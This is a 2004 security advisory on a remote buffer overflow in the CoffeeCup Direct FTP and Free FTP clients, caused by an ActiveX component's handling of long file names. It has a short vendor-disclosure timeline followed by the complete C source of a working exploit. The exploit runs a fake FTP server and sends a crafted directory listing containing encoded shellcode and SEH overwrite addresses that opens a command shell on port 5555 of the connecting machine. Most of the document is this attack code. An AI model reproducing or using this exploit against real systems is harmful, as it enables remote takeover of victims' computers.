AUTHOR
Komrade
unsecure@altervista.org
http://unsecure.altervista.org

DATE
22/11/2004

PRODUCTS
CoffeCup Direct FTP - FTP client for Windows.
CoffeeCup Free FTP - free FTP client for Windows.

AFFECTED VERSION
Versions verified to be vulnerable:
CoffeeCup Direct FTP 6.2.0.62 (latest version)
CoffeeCup Free FTP 3.0.0.10 (latest version)

Prior version should be vulnerable as well.

DETAILS
Each this programs use the ActiveX Control "WeOnlyDo! COM Ftp DELUXE"
(WodFtpDLX.ocx) to communicate with FTP servers.
I discovered that this ActiveX doesn't correctly handle a very long file
name sent from an FTP server, causing the programs to be vulnerable to a
remote buffer overflow.

Details on the vulnerabiliy that affect WodFtpDLX ActiveX Control can be
found here:
http://unsecure.altervista.org/security/wodftpdlx.htm

POC EXPLOIT
You can find a proof of concept exploit that spawn a shell on port 5555
on the target machine here:
http://unsecure.altervista.org/security/coffeecupbof.c

VENDOR STATUS
I notified this vulnerability to the vendor on 19/11/2004 and they
replied that they would start immediately to work on a fix.

VULNERABILITY TIMELINE
16/11/2004 Vulnerbility found.
19/11/2004 Vendor contacted for the first time.
19/11/2004 Vendor reply. They are working to fix this vulnerability.
22/11/2004 Public disclosure.


-- 
- Unsecure Programs -
- http://unsecure.altervista.org -

- Vulnerabilities and exploits -
- http://unsecure.altervista.org/security.htm -




/*******************************************************************************************************

  CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit
  created by Komrade
  e-mail:  unsecure(at)altervista(dot)org
  web:  http://unsecure.altervista.org

  Tested on:
      CoffeeCup Direct FTP 6.2.0.62
        CoffeeCup Free FTP 3.0.0.10

        on a Windows XP Professional sp2 operating system.

  This exploit creates a fake FTP server on your machine, waiting for the
  connection of an FTP client.
  After the exploit is sent a shell (command prompt) is spawn on port 5555
  of the target machine.
  This exploit works locally or remotely.

  Usage: coffecupbof [direct | free] [-l] [-r server IP]

  Options:
   direct | free  "direct" to exploit a CoffeeCup Direct FTP client
       "free" to exploit a CoffeeCup Free FTP client
   -l    executed locally
   -r serverIP  executed remotely. You need to specify the address
       of the FTP server for the PASV command (Insert your IP address)

  Examples:

  C:\> coffeecupbof direct -l    exploit for CoffeeCup Direct FTP executed locally
  C:\> coffeecupbof free -r 10.0.0.1      exploit for CoffeeCup Free FTP executed remotely

*******************************************************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#define FTP_PORT 21
#define PASV_PORT 1106

int version, wait = TRUE;

DWORD WINAPI fileList(LPVOID data);

int main(int argc,char **argv){

  SOCKET sock, client;
  struct sockaddr_in sock_addr,client_addr;
  WSADATA data;
  WORD p;
  char mess[4096], received[512], addr[32];
  int lun, n, i, err;
  HANDLE fileListH;
  DWORD fileListId, exitCode;

  p = MAKEWORD(2, 0);
  WSAStartup(p, &data);

  printf("------------------------------------------------------------------------------\r\n");
  printf("\tCoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n");
  printf("\t\t\tcreated by Komrade\r\n\r\n");

  printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
  printf("\t\tweb: http://unsecure.altervista.org\r\n");
  printf("------------------------------------------------------------------------------\r\n\r\n");

  if (((argc != 2) || (strcmp(argv[1], "direct") != 0) || (strcmp(argv[1], "free") != 0)) && ((argc != 3) || (strcmp(argv[2], "-l") != 0)) && ((argc != 4) || (strcmp(argv[2], "-r") != 0))){
    printf("Usage: coffecupbof [direct | free] [-l] [-r server IP]\r\n\r\n");
    printf("Options:\r\n");
    printf(" direct | free\t\"direct\" to exploit a CoffeeCup Direct FTP client\r\n");
    printf(" \t\t\"free\" to exploit a CoffeeCup Free FTP client\r\n");
     printf(" -l\t\tworks locally.\r\n");
    printf(" -r server IP\tworks remotely. You need to specify the address of the\r\n");
    printf("\t\tFTP server for the PASV command (Insert your IP address)\r\n\r\n");
    printf("Examples:\r\n");
    printf(" coffeecupbof direct -l\t\texploit for CoffeeCup Direct FTP\r\n\t\t\t\texecuted locally\r\n");
    printf(" coffeecupbof free -r 10.0.0.1\texploit for CoffeeCup Free FTP\r\n\t\t\t\texecuted remotely\r\n");
    return 0;
  }

  if(strcmp(argv[1], "direct") == 0)
    version = 1;
  else
    version = 2;

  if(strcmp(argv[2], "-r") == 0){
    char *token[4];

    token[0]=strtok(argv[3], ".");
    for(i = 1; i < 4; i++){
      token[i]=strtok(NULL, ".");
    }

    strcpy(addr, "\0");

    for(i=0; (i < 4) && (token[i]!= NULL); i++){
      strlcat(addr, token[i], 16);
      strcat(addr, ",");
    }
  }
  else
    strcpy(addr, "127,0,0,1,");

  sock=socket(PF_INET,SOCK_STREAM,0);
  sock_addr.sin_family=PF_INET;
  sock_addr.sin_port=htons(FTP_PORT);
  sock_addr.sin_addr.s_addr=INADDR_ANY;

        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
  if (err < 0){
    printf("Error in bind(). Port may be in use\r\n");
    return -1;
  }
  err = listen(sock,1);
  if (err < 0){
    printf("Error in listen()\r\n");
    return -1;
  }

  lun = sizeof (struct sockaddr);

  printf("Opening the FTP port and waiting for connections...\r\n");
  client = accept(sock, (struct sockaddr*)&client_addr, &lun);
  printf("Client connected from IP: %s\r\n\r\n", inet_ntoa(client_addr.sin_addr));

  strcpy(mess, "220 CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n");
  n=send(client, mess, strlen(mess), 0);
  if (n < 0){
    printf("Error in send()\r\n");
    return -1;
  }

  while(wait == TRUE){

    Sleep(800);
    n = recv(client, received, sizeof(mess), 0);
    if (n < 0){
      printf("Error in recv()\r\n");
      return -1;
    }

    received[n]=0;
    printf("CLIENT: %s", received);

    if (stricmp("USER", strtok(received, " ")) == 0)
      strcpy(mess, "331 Anonymous access allowed, send password.\r\n");
    else if (stricmp("PASS", strtok(received, " ")) == 0)
      strcpy(mess, "230 Anonymous user logged in.\r\n");
    else if (stricmp("PWD\r\n", received) == 0)
      strcpy(mess, "257 \"/\" is current directory.\r\n");
    else if (stricmp("CWD", strtok(received, " ")) == 0)
      strcpy(mess, "257 \"/\" is current directory.\r\n");
    else if (stricmp("TYPE", strtok(received, " ")) == 0)
      strcpy(mess, "200 Type set to A.\r\n");
    else if (stricmp("PASV\r\n", received) == 0){
      fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
      if (fileListH == NULL)
        printf("Error in CreateThread() %d", GetLastError());
      wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);
    }
    else if (stricmp("LIST", strtok(received, " ")) == 0 || stricmp("LIST\r\n", received) == 0){
      strcpy(mess, "125 Data connection already open; Transfer starting.\r\n");
      printf("SERVER: %s\r\n", mess);
      n=send(client, mess, strlen(mess), 0);
      if (n < 0){
        printf("Error in send()\r\n");
        return -1;
      }
      wait = FALSE;

      do{
        GetExitCodeThread(fileListH, &exitCode);
        Sleep(100);
      }
      while(exitCode == STILL_ACTIVE);
      printf("< Long file name sent to client >\r\n\r\n");

      strcpy(mess, "226 Transfer complete.\r\n");
    }
    else
      strcpy(mess, "550 Unimplemented\r\n");

    printf("SERVER: %s\r\n", mess);
    n = send(client, mess, strlen(mess), 0);
    if (n < 0){
        printf("Error in send()\r\n");
        return -1;
    }
  }

  printf("Wait.......");
  Sleep(2000);
  printf("Exploit succesfully sent!\r\n");
  printf("Connect to %s port 5555 for the shell\r\n", inet_ntoa(client_addr.sin_addr));

  closesocket (client);
  closesocket(sock);

  WSACleanup();
  return 0;
}

DWORD WINAPI fileList(LPVOID data){

  char shellcode[] =
  "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB"
  "\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\xFD\x12\xD8\xA9\x12"
  "\xD9\x95\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12"
  "\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8"
  "\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E"
  "\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
  "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
  "\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5"
  "\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0"
  "\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12"
  "\x41\x5E\x9E\x9B\x99\x8C\x2A\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66"
  "\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD"
  "\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF"
  "\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA"
  "\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9"
  "\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"
  "\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66"
  "\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB"
  "\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"
  "\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8"
  "\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA"
  "\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99"
  "\xF8\xFA\xFA\xFC\xE9\xED\x99";

  char shelljump1[] =  "\x90\xEB\xBA\x90";

  char shelljump2[] =
  "\x58\xB9\x21\xFC\xFF\xFF\xF7\xD1\x2B\xC1\xFF\xE0\xE8\xEF\xFF\xFF\xFF";

  char SEHAddr1[] = "\x50\x39\x06\x6D";
  char SEHAddr2[] = "\x0D\xA8\x03\x6D";


  SOCKET sock, client, list;
  struct sockaddr_in sock_addr,client_addr;

  WSADATA wData;
  WORD p;
  char mess[4096];
  int lun, n, i, err;

  p = MAKEWORD(2, 0);
  WSAStartup(p, &wData);

  sock=socket(PF_INET,SOCK_STREAM,0);
  sock_addr.sin_family=PF_INET;
  sock_addr.sin_port=htons(PASV_PORT);
  sock_addr.sin_addr.s_addr=INADDR_ANY;
        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
  if (err < 0){
    printf("Error in bind(). Port may be in use\r\n");
    return -1;
  }
  err = listen(sock,1);
  if (err < 0){
    printf("Error in listen().\r\n");
    return -1;
  }

  lun = sizeof (struct sockaddr);

  client = accept(sock, (struct sockaddr*)&client_addr, &lun);

  while (wait == TRUE)
    Sleep(100);

  strcpy(mess, "03-04-81 12:00PM 3 ");

  for(i=strlen(mess); i<100; i++)
    mess[i]=0x90;
  mess[i]='\0';

  strcat(mess, shellcode);

  for(i=strlen(mess); i<1000; i++)
    mess[i]=0x90;
  mess[i]='\0';

  strcat(mess, shelljump2);

  for(i=strlen(mess); i<1079; i++)
    mess[i]=0x90;
  mess[i]='\0';

  strcat(mess, shelljump1);
  if (version == 1)
    strcat(mess, SEHAddr1);
  else
    strcat(mess, SEHAddr2);

  for(i=strlen(mess); i<1300; i++) // cause the exception
    mess[i]='b';
  mess[i]='\0';

  strcat(mess, "\r\n");

  n = send(client, mess, strlen(mess), 0);
  if (n < 0){
    printf("Error in send()\r\n");
    return -1;
  }

  closesocket(sock);
  closesocket(client);
  WSACleanup();

  return 0;
}